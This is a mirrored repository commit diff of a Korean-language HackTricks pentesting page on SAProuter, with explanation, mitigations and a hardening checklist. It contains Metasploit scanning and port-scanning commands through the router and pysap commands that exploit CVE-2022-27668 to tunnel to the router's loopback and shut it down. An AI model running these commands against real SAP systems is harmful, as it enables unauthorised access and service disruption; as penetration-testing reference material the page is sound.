mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/3299-pentesting-saprouter.m
This commit is contained in:
parent
7d6d7a7447
commit
c1840269ff
@ -1,3 +1,5 @@
|
||||
# # 3299/tcp - Pentesting SAProuter
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
@ -9,9 +11,9 @@ PORT STATE SERVICE VERSION
|
||||
|
||||
SAProuter는 SAP 시스템을 위한 리버스 프록시 역할을 하며, 주로 인터넷과 내부 SAP 네트워크 간의 접근을 제어합니다. 일반적으로 TCP 포트 3299를 통해 조직의 방화벽을 통과하여 인터넷에 노출됩니다. 이 설정은 SAProuter를 침투 테스트의 매력적인 대상으로 만들며, 고가치 내부 네트워크로의 게이트웨이 역할을 할 수 있습니다.
|
||||
|
||||
**스캔 및 정보 수집**
|
||||
**스캐닝 및 정보 수집**
|
||||
|
||||
처음에 **sap_service_discovery** 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행 중인지 확인하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다.
|
||||
초기에는 **sap_service_discovery** 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행 중인지 확인하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다.
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
@ -41,7 +43,7 @@ msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**내부 호스트의 블라인드 열거**
|
||||
|
||||
SAProuter에서 직접 정보가 제한된 시나리오에서는 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름의 존재를 추측하고 확인하려고 시도하여 직접 IP 주소 없이 잠재적인 대상을 드러냅니다.
|
||||
SAProuter에서 직접적인 정보가 제한된 시나리오에서는 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름의 존재를 추측하고 확인하려고 시도하여 직접적인 IP 주소 없이 잠재적인 대상을 드러냅니다.
|
||||
|
||||
**침투 테스트를 위한 정보 활용**
|
||||
|
||||
@ -55,11 +57,72 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||
|
||||
이 접근 방식은 안전한 SAProuter 구성의 중요성을 강조하고, 목표 지향적인 침투 테스트를 통해 내부 네트워크에 접근할 수 있는 가능성을 부각시킵니다. SAP 라우터를 적절히 보호하고 네트워크 보안 아키텍처에서의 역할을 이해하는 것은 무단 접근으로부터 보호하는 데 중요합니다.
|
||||
|
||||
Metasploit 모듈 및 그 사용에 대한 더 자세한 정보는 [Rapid7의 데이터베이스](http://www.rapid7.com/db)를 방문하세요.
|
||||
Metasploit 모듈 및 사용법에 대한 자세한 정보는 [Rapid7의 데이터베이스](http://www.rapid7.com/db)를 방문하세요.
|
||||
|
||||
## **참고문헌**
|
||||
---
|
||||
|
||||
## 최근 취약점 (2022-2025)
|
||||
|
||||
### CVE-2022-27668 – 부적절한 접근 제어 ➜ 원격 관리 명령 실행
|
||||
|
||||
2022년 6월 SAP는 SAProuter(모든 커널 ≥ 7.22)의 치명적인 결함(CVSS 9.8)을 다룬 보안 노트 **3158375**를 발표했습니다. 인증되지 않은 공격자는 허용된 `saprouttab` 항목을 악용하여 원격 호스트에서 **관리 패킷**(예: *shutdown*, *trace-level*, *connection-kill*)을 보낼 수 있습니다. 이는 라우터가 `-X` 원격 관리 옵션 없이 시작되었을 때도 가능합니다.
|
||||
|
||||
이 문제는 지정되지 않은 주소 **0.0.0.0**을 타겟으로 하여 라우터의 자체 루프백 인터페이스로 터널을 구축할 수 있는 가능성에서 발생합니다. 터널이 설정되면 공격자는 로컬 호스트 권한을 얻고 모든 관리 명령을 실행할 수 있습니다.
|
||||
|
||||
실제 악용은 **pysap** 프레임워크로 재현할 수 있습니다:
|
||||
```bash
|
||||
# 1. Build a loopback tunnel through the vulnerable SAProuter
|
||||
python router_portfw.py -d <ROUTER_IP> -p 3299 \
|
||||
-t 0.0.0.0 -r 3299 \
|
||||
-a 127.0.0.1 -l 3299 -v
|
||||
|
||||
# 2. Send an admin packet (here: stop the remote router)
|
||||
python router_admin.py -s -d 127.0.0.1 -p 3299
|
||||
```
|
||||
**영향을 받는 버전**
|
||||
|
||||
* 독립형 SAProuter 7.22 / 7.53
|
||||
* 커널 7.49, 7.77, 7.81, 7.85–7.88 (KRNL64NUC/UC 포함)
|
||||
|
||||
**수정 / 완화**
|
||||
|
||||
1. SAP 노트 **3158375**와 함께 제공된 패치를 적용합니다.
|
||||
2. `saprouttab`의 `P` 및 `S` 라인에서 와일드카드(`*`) 대상을 제거합니다.
|
||||
3. 라우터가 `-X` 옵션 없이 시작되고 인터넷에 직접 노출되지 않도록 합니다.
|
||||
|
||||
---
|
||||
|
||||
## 업데이트된 도구 및 트릭
|
||||
|
||||
* **pysap** – 적극적으로 유지 관리되며, 사용자 정의 NI/Router 패킷을 제작하거나 ACL을 퍼징하거나 CVE-2022-27668 익스플로잇을 자동화하기 위해 `router_portfw.py`, `router_admin.py` 및 `router_trace.py`를 제공합니다.
|
||||
* **Nmap** – 사용자 정의 SAProuter 프로브를 추가하여 서비스 탐지를 확장합니다:
|
||||
|
||||
```text
|
||||
Probe TCP SAProuter q|\x00\x00\x00\x00|
|
||||
ports 3299
|
||||
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
|
||||
```
|
||||
|
||||
NSE 스크립트 또는 `--script=banner`와 결합하여 배너 문자열(`SAProuter <ver> on '<host>'`)을 유출하는 버전을 빠르게 식별합니다.
|
||||
* **Metasploit** – 위에 표시된 보조 모듈은 pysap로 생성된 SOCKS 또는 NI 프록시를 통해 여전히 작동하여 라우터가 직접 접근을 차단하더라도 전체 프레임워크 통합을 가능하게 합니다.
|
||||
|
||||
---
|
||||
|
||||
## 강화 및 탐지 체크리스트
|
||||
|
||||
* 경계 방화벽에서 포트 **3299/TCP**를 필터링합니다 – 신뢰할 수 있는 SAP 지원 네트워크에서만 트래픽을 허용합니다.
|
||||
* SAProuter를 **완전히 패치** 상태로 유지합니다; `saprouter -v`로 확인하고 최신 커널 패치 수준과 비교합니다.
|
||||
* `saprouttab`에서 **엄격하고 호스트 특정** 항목을 사용합니다; `*` 와일드카드를 피하고 임의의 호스트나 포트를 대상으로 하는 `P`/`S` 규칙을 거부합니다.
|
||||
* 서비스 시작 시 **`-S <secudir>` + SNC**를 사용하여 암호화 및 상호 인증을 강제합니다.
|
||||
* 원격 관리(`-X`)를 비활성화하고, 가능하다면 리스너를 `127.0.0.1`에 바인딩하고 필요한 트래픽을 위해 외부 리버스 프록시를 사용합니다.
|
||||
* 의심스러운 `ROUTER_ADM` 패킷이나 `0.0.0.0`에 대한 예상치 못한 `NI_ROUTE` 요청을 위해 **dev_rout** 로그를 모니터링합니다.
|
||||
|
||||
---
|
||||
|
||||
## **참조**
|
||||
|
||||
- [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/)
|
||||
|
||||
## Shodan
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user